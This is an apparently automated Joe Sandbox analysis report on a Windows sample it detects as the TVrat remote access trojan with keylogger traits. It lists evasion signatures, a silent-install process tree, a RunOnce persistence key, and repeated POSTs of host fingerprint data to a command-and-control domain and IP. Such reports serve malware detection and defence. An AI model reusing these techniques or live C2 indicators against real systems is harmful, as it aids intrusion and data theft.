Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
oZ3vtWXObB.exe

Overview

General Information

Sample name:oZ3vtWXObB.exe
renamed because original name is a hash value
Original sample name:dd7c0d57c4fb9b1a0bfe6de8e493f47a23cc6176b6f82194c7ad03c927047fdb.exe
Analysis ID:1558738
MD5:e6a7a12b99393e7869aaec3c1661ccb7
SHA1:5e098c8f6b8e6d312a1f1f144a42f48dde802d6c
SHA256:dd7c0d57c4fb9b1a0bfe6de8e493f47a23cc6176b6f82194c7ad03c927047fdb
Tags:crypto-st--artexeuser-JAMESWT_MHT
Infos:

Detection

TVrat
Score:80
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected TVrat
AI detected suspicious sample
Found API chain indicative of debugger detection
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Tries to delay execution (extensive OutputDebugStringW loop)
Tries to detect virtualization through RDTSC time measurements
AV process strings found (often used to terminate AV products)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
PE / OLE file has an invalid certificate
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sleep loop found (likely to delay execution)
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Keylogger Generic

Classification

Process Tree

  • System is w10x64
  • oZ3vtWXObB.exe (PID: 3020 cmdline: "C:\Users\user\Desktop\oZ3vtWXObB.exe" MD5: E6A7A12B99393E7869AAEC3C1661CCB7)
    • oZ3vtWXObB.tmp (PID: 6464 cmdline: "C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp" /SL5="$10408,7132714,832512,C:\Users\user\Desktop\oZ3vtWXObB.exe" MD5: A4E733D8E4B800D3DA4197B2B2CE6049)
      • oZ3vtWXObB.exe (PID: 1112 cmdline: "C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4 MD5: E6A7A12B99393E7869AAEC3C1661CCB7)
        • oZ3vtWXObB.tmp (PID: 5672 cmdline: "C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp" /SL5="$20416,7132714,832512,C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4 MD5: A4E733D8E4B800D3DA4197B2B2CE6049)
          • cmd.exe (PID: 6708 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\u3w5\rbxsdlx.bat"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 6756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • xcopy.exe (PID: 2220 cmdline: xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\u3w5\*" "C:\Users\user\AppData\Roaming\is\" MD5: 7E9B7CE496D09F70C072930940F9F02C)
            • ast.exe (PID: 6056 cmdline: "C:\Users\user\AppData\Roaming\is\ast.exe" MD5: 8002D9E5851728EB024B398CF19DE390)
  • ast.exe (PID: 2844 cmdline: "C:\Users\user\AppData\Roaming\is\ast.exe" MD5: 8002D9E5851728EB024B398CF19DE390)
  • ast.exe (PID: 916 cmdline: "C:\Users\user\AppData\Roaming\is\ast.exe" MD5: 8002D9E5851728EB024B398CF19DE390)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
TeamSpy, TVRATNo Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.teamspy

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmpJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
    C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
      C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmpJoeSecurity_TVratYara detected TVratJoe Security
        C:\Users\user\AppData\Roaming\is\ast.exeJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
          C:\Users\user\AppData\Roaming\is\ast.exeJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
            Click to see the 1 entries

            Memory Dumps

            SourceRuleDescriptionAuthorStrings
            0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmpJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
              0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmpJoeSecurity_TVratYara detected TVratJoe Security
                Process Memory Space: ast.exe PID: 6056JoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
                  Process Memory Space: ast.exe PID: 6056JoeSecurity_TVratYara detected TVratJoe Security

                    Unpacked PEs

                    SourceRuleDescriptionAuthorStrings
                    11.0.ast.exe.400000.0.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
                      11.0.ast.exe.400000.0.unpackJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
                        11.0.ast.exe.400000.0.unpackJoeSecurity_TVratYara detected TVratJoe Security

                          Sigma Signatures

                          Sigma detected: CurrentVersion Autorun Keys Modification
                          Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\is\ast.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\is\ast.exe, ProcessId: 6056, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\act

                          Suricata Signatures

                          ⊘No Suricata rule has matched

                          Joe Sandbox Signatures

                          Click to jump to signature section

                          Show All Signature Results

                          AV Detection

                          barindex
                          Multi AV Scanner detection for submitted file
                          Source: oZ3vtWXObB.exeReversingLabs: Detection: 26%
                          Yara detected TVrat
                          Source: Yara matchFile source: 11.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: ast.exe PID: 6056, type: MEMORYSTR
                          Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, type: DROPPED
                          Source: Yara matchFile source: C:\Users\user\AppData\Roaming\is\ast.exe, type: DROPPED
                          AI detected suspicious sample
                          Source: Submited SampleIntegrated Neural Analysis Model: Matched 88.8% probability
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDA20A0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,11_2_6BDA20A0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD88010 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,11_2_6BD88010
                          Source: xcopy.exe, 0000000A.00000003.1919605698.00000000026F9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_bbdb562a-f
                          Source: oZ3vtWXObB.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\folder_is1Jump to behavior
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51370 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51373 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51376 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51379 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51382 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51385 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51388 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51391 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51394 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51397 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51403 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51406 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51409 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51412 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51415 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51418 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51421 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51424 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51427 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51430 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51433 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51436 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51439 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51442 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51445 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51448 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51451 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51454 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51457 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51460 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51463 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51466 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51469 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51472 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51475 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51478 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51481 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51484 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51487 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51490 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51493 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51496 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51499 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51505 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51508 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51511 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51514 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51517 version: TLS 1.2
                          Source: oZ3vtWXObB.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                          Source: Binary string: vcruntime140.i386.pdb source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000002.2211308718.00000000026EB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2732860260.000000006FC51000.00000020.00000001.01000000.00000015.sdmp
                          Source: Binary string: vcruntime140.i386.pdbGCTL source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000002.2211308718.00000000026EB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2732860260.000000006FC51000.00000020.00000001.01000000.00000015.sdmp
                          Source: Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libcrypto-1_1.pdb source: xcopy.exe, 0000000A.00000003.1918204929.0000000002927000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2724259502.000000006C2E0000.00000002.00000001.01000000.00000014.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\libjpeg-turbo-win.pdb! source: xcopy.exe, 0000000A.00000003.1920462940.000000000271C000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: vcomp140.i386.pdbGCTL source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210687139.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\CFILES\Projects\WinSSL\openssl-1.1.0g\libcrypto-1_1.pdb source: xcopy.exe, 0000000A.00000003.1918880338.000000000294B000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: msvcr120.i386.pdb source: xcopy.exe, 0000000A.00000003.1920996069.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdbe source: xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2732468938.000000006D493000.00000002.00000001.01000000.0000000F.sdmp, astclient.dll.10.dr
                          Source: Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\libeay32.pdb source: xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.dr
                          Source: Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb@W source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdb source: xcopy.exe, 0000000A.00000003.1917115603.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2731291548.000000006D25F000.00000002.00000001.01000000.00000011.sdmp
                          Source: Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdb source: xcopy.exe, 0000000A.00000003.1917539418.0000000002941000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2728744930.000000006C8E2000.00000002.00000001.01000000.00000010.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\libjpeg-turbo-win.pdb source: xcopy.exe, 0000000A.00000003.1920462940.000000000271C000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb@@ source: ast.exe, 0000000B.00000002.2725917019.000000006C391000.00000002.00000001.01000000.00000013.sdmp
                          Source: Binary string: vcomp140.i386.pdb source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210687139.00000000026F9000.00000004.00000020.00020000.00000000.sdmp
                          Source: Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdbf source: xcopy.exe, 0000000A.00000003.1917539418.0000000002941000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2728744930.000000006C8E2000.00000002.00000001.01000000.00000010.sdmp
                          Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: ast.exe, 0000000B.00000002.2724259502.000000006C277000.00000002.00000001.01000000.00000014.sdmp
                          Source: Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb source: ast.exe, 0000000B.00000002.2725917019.000000006C391000.00000002.00000001.01000000.00000013.sdmp
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdb source: xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2732468938.000000006D493000.00000002.00000001.01000000.0000000F.sdmp, astclient.dll.10.dr
                          Source: Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdbM6 source: xcopy.exe, 0000000A.00000003.1917115603.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2731291548.000000006D25F000.00000002.00000001.01000000.00000011.sdmp
                          Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASMOpenSSL 1.1.1l 24 Aug 2021built on: Tue Sep 7 07:24:19 2021 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\Program Files (x86)\OpenSSL\lib\engines-1_1"not availabledes(long) source: ast.exe, 0000000B.00000002.2724259502.000000006C277000.00000002.00000001.01000000.00000014.sdmp
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_07064149 lstrcat,FindFirstFileA,lstrcat,FindNextFileA,FindClose,13_2_07064149
                          Source: global trafficTCP traffic: 192.168.2.8:51400 -> 212.193.169.65:44335
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2691MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.19045) x64
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2691MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.19045) x64
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2691MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.19045) x64
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
                          Source: global trafficHTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
